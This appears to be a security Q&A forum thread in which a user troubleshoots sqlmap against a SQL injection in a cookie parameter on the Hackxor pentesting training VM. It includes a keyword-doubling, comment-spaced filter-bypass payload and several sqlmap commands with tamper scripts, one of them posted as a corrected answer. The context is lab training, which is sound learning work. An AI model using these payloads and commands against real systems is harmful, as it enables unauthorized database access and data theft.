6

Right now I'm tinkering with the Hackxor VM (a pentesting training enviroment) and I'm trying to use sqlmap to exploit a vulnerability which I can exploit manually.

The vulnerability is in the cookie header 'userid' parameter. The application implements some SQLi filter to block spaces and some SQL keywords so you have to convolute a bit the payload.

I can successfuly exploit the vulnerability injecting the following payload in the mentioned 'userid' parameter with an HTTP proxy:

71934/**/unUNIONion/**/seSELECTlect/**/*/**/from/**/users

Then I tried to replicate the injection with sqlmap to no success with the following command:

sqlmap -u "http://cloaknet:8080/proxypanel.jsp" --cookie="JSESSIONID=CA97BAFA78E01D237B86278E9DFE12C3; userid=71934" -p "userid" --level 5 --tamper "nonrecursivereplacement.py,space2comment.py" --sql-query="71934 UNION SELECT * from users"

I expected sqlmap to inject only the given query and return a successful exploit, but sqlmap tries a lot of queries and at the end returns the 'userid' parameter not being vulnerable.

What am I doing wrong?

Improve this question
2
  • You can capture the request generated by sqlmap in Burp and examine it.
    – void_in
    Nov 27, 2016 at 9:41
  • Yes, put your post or parameters into a file and use sqlmap -r to launch it instead of -u. Did you tried this?
    – OscarAkaElvis
    Dec 27, 2016 at 11:24

2 Answers 2

Reset to default
1

I actually ran into a similar issue. I though my syntax was correct and I still don't know where I went wrong but I was able to use the -r flag and feed sqlmap a captured HTTP header as a parameter. Once I did this sqlmap identified the field as vulnerable (which I already knew it was) and acted as I initially thought it would.

SQLmap POST parameter 'txtLoginID' is not injectable

Hope this helps!

Improve this answer
2
  • I'm afraid that trick isn't working here. But thanks for the advice.
    – Hidden
    Mar 8, 2016 at 8:50
  • Did you also try raising the risk and level?
    – Grady Negronida
    Mar 8, 2016 at 16:44
1

It needs to work this way

sqlmap -u "http://cloaknet:8080/proxypanel.jsp" --cookie="JSESSIONID=CA97BAFA78E01D237B86278E9DFE12C3; userid=71934" --level 5 --risk 3 -p "userid" --tamper=nonrecursivereplacement,space2comment --sql-query="71934 UNION SELECT * from users"
Improve this answer

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .